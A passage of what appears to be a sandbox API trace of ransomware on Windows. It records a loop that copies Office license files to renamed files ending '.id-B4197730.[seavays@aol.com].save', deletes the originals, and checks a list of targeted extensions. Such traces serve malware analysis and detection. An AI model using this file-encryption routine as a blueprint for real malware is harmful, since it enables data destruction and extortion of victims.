| out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10a, lpOverlapped=0x0) returned 1 [0181.086] SetEndOfFile (hFile=0x388) returned 1 [0181.087] CloseHandle (hObject=0x388) returned 1 [0181.087] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.087] SetEndOfFile (hFile=0x518) returned 1 [0181.090] CloseHandle (hObject=0x518) returned 1 [0181.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0181.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.091] lstrlenW (lpString=".doc") returned 4 [0181.091] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.091] lstrlenW (lpString=".docx") returned 5 [0181.091] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.091] lstrlenW (lpString=".pdf") returned 4 [0181.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.092] lstrlenW (lpString=".xls") returned 4 [0181.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.092] lstrlenW (lpString=".xlsx") returned 5 [0181.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.092] lstrlenW (lpString=".ppt") returned 4 [0181.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.092] lstrlenW (lpString=".zip") returned 4 [0181.092] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.092] lstrlenW (lpString=".rar") returned 4 [0181.092] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.092] lstrlenW (lpString=".bz2") returned 4 [0181.092] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.092] lstrlenW (lpString=".7z") returned 3 [0181.092] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.092] lstrlenW (lpString=".dbf") returned 4 [0181.092] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.092] lstrlenW (lpString=".1cd") returned 4 [0181.093] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.093] lstrlenW (lpString=".jpg") returned 4 [0181.093] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.093] lstrlenW (lpString=".doc") returned 4 [0181.093] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.093] lstrlenW (lpString=".docx") returned 5 [0181.093] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.093] lstrlenW (lpString=".pdf") returned 4 [0181.093] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.093] lstrlenW (lpString=".xls") returned 4 [0181.093] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.093] lstrlenW (lpString=".xlsx") returned 5 [0181.093] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.093] lstrlenW (lpString=".ppt") returned 4 [0181.093] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.093] lstrlenW (lpString=".zip") returned 4 [0181.093] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.093] lstrlenW (lpString=".rar") returned 4 [0181.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.094] lstrlenW (lpString=".bz2") returned 4 [0181.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.094] lstrlenW (lpString=".7z") returned 3 [0181.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.094] lstrlenW (lpString=".dbf") returned 4 [0181.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.094] lstrlenW (lpString=".1cd") returned 4 [0181.094] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0181.094] lstrlenW (lpString=".jpg") returned 4 [0181.094] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.094] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.094] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30 [0181.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0181.095] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11587) returned 1 [0181.095] CloseHandle (hObject=0x518) returned 1 [0181.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0181.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0181.096] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.096] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.097] GetLastError () returned 0x0 [0181.097] ReadFile (in: hFile=0x518, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d43, lpOverlapped=0x0) returned 1 [0181.099] WriteFile (in: hFile=0x388, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0181.101] ReadFile (in: hFile=0x518, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.101] WriteFile (in: hFile=0x388, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x110, lpOverlapped=0x0) returned 1 [0181.101] SetEndOfFile (hFile=0x388) returned 1 [0181.101] CloseHandle (hObject=0x388) returned 1 [0181.101] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.101] SetEndOfFile (hFile=0x518) returned 1 [0181.511] CloseHandle (hObject=0x518) returned 1 [0181.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0181.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.876] lstrlenW (lpString=".doc") returned 4 [0181.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.876] lstrlenW (lpString=".docx") returned 5 [0181.876] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.876] lstrlenW (lpString=".pdf") returned 4 [0181.876] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.876] lstrlenW (lpString=".xls") returned 4 [0181.876] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.876] lstrlenW (lpString=".xlsx") returned 5 [0181.876] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.876] lstrlenW (lpString=".ppt") returned 4 [0181.876] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.876] lstrlenW (lpString=".zip") returned 4 [0181.877] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.877] lstrlenW (lpString=".rar") returned 4 [0181.877] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.877] lstrlenW (lpString=".bz2") returned 4 [0181.877] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.877] lstrlenW (lpString=".7z") returned 3 [0181.877] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.877] lstrlenW (lpString=".dbf") returned 4 [0181.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.877] lstrlenW (lpString=".1cd") returned 4 [0181.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.877] lstrlenW (lpString=".jpg") returned 4 [0181.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.877] lstrlenW (lpString=".doc") returned 4 [0181.878] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.878] lstrlenW (lpString=".docx") returned 5 [0181.878] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.878] lstrlenW (lpString=".pdf") returned 4 [0181.878] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.878] lstrlenW (lpString=".xls") returned 4 [0181.878] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.878] lstrlenW (lpString=".xlsx") returned 5 [0181.878] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.878] lstrlenW (lpString=".ppt") returned 4 [0181.878] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.878] lstrlenW (lpString=".zip") returned 4 [0181.878] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.879] lstrlenW (lpString=".rar") returned 4 [0181.879] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.879] lstrlenW (lpString=".bz2") returned 4 [0181.879] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.879] lstrlenW (lpString=".7z") returned 3 [0181.879] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.879] lstrlenW (lpString=".dbf") returned 4 [0181.880] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.880] lstrlenW (lpString=".1cd") returned 4 [0181.880] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0181.880] lstrlenW (lpString=".jpg") returned 4 [0181.880] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.880] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.880] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33 [0181.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0181.882] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11614) returned 1 [0181.882] CloseHandle (hObject=0x444) returned 1 [0181.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0181.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0181.883] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.883] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0181.884] GetLastError () returned 0x0 [0181.884] ReadFile (in: hFile=0x444, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0181.888] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0181.889] ReadFile (in: hFile=0x444, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.889] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0181.890] SetEndOfFile (hFile=0x530) returned 1 [0181.890] CloseHandle (hObject=0x530) returned 1 [0181.890] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.890] SetEndOfFile (hFile=0x444) returned 1 [0181.895] CloseHandle (hObject=0x444) returned 1 [0181.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0181.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.897] lstrlenW (lpString=".doc") returned 4 [0181.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.897] lstrlenW (lpString=".docx") returned 5 [0181.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.897] lstrlenW (lpString=".pdf") returned 4 [0181.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.897] lstrlenW (lpString=".xls") returned 4 [0181.897] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.897] lstrlenW (lpString=".xlsx") returned 5 [0181.897] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.897] lstrlenW (lpString=".ppt") returned 4 [0181.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.898] lstrlenW (lpString=".zip") returned 4 [0181.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.898] lstrlenW (lpString=".rar") returned 4 [0181.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.898] lstrlenW (lpString=".bz2") returned 4 [0181.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.898] lstrlenW (lpString=".7z") returned 3 [0181.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.898] lstrlenW (lpString=".dbf") returned 4 [0181.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.898] lstrlenW (lpString=".1cd") returned 4 [0181.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.898] lstrlenW (lpString=".jpg") returned 4 [0181.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.899] lstrlenW (lpString=".doc") returned 4 [0181.899] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.899] lstrlenW (lpString=".docx") returned 5 [0181.899] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.899] lstrlenW (lpString=".pdf") returned 4 [0181.899] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.899] lstrlenW (lpString=".xls") returned 4 [0181.899] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.899] lstrlenW (lpString=".xlsx") returned 5 [0181.899] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.899] lstrlenW (lpString=".ppt") returned 4 [0181.899] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.899] lstrlenW (lpString=".zip") returned 4 [0181.899] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.899] lstrlenW (lpString=".rar") returned 4 [0181.899] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.899] lstrlenW (lpString=".bz2") returned 4 [0181.899] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.899] lstrlenW (lpString=".7z") returned 3 [0181.899] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.900] lstrlenW (lpString=".dbf") returned 4 [0181.900] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.900] lstrlenW (lpString=".1cd") returned 4 [0181.900] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0181.900] lstrlenW (lpString=".jpg") returned 4 [0181.900] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.900] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.900] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29 [0181.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0181.902] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=9606) returned 1 [0181.902] CloseHandle (hObject=0x444) returned 1 [0181.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0181.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0181.903] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.903] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0181.904] GetLastError () returned 0x0 [0181.904] ReadFile (in: hFile=0x444, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2586, lpOverlapped=0x0) returned 1 [0181.907] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, 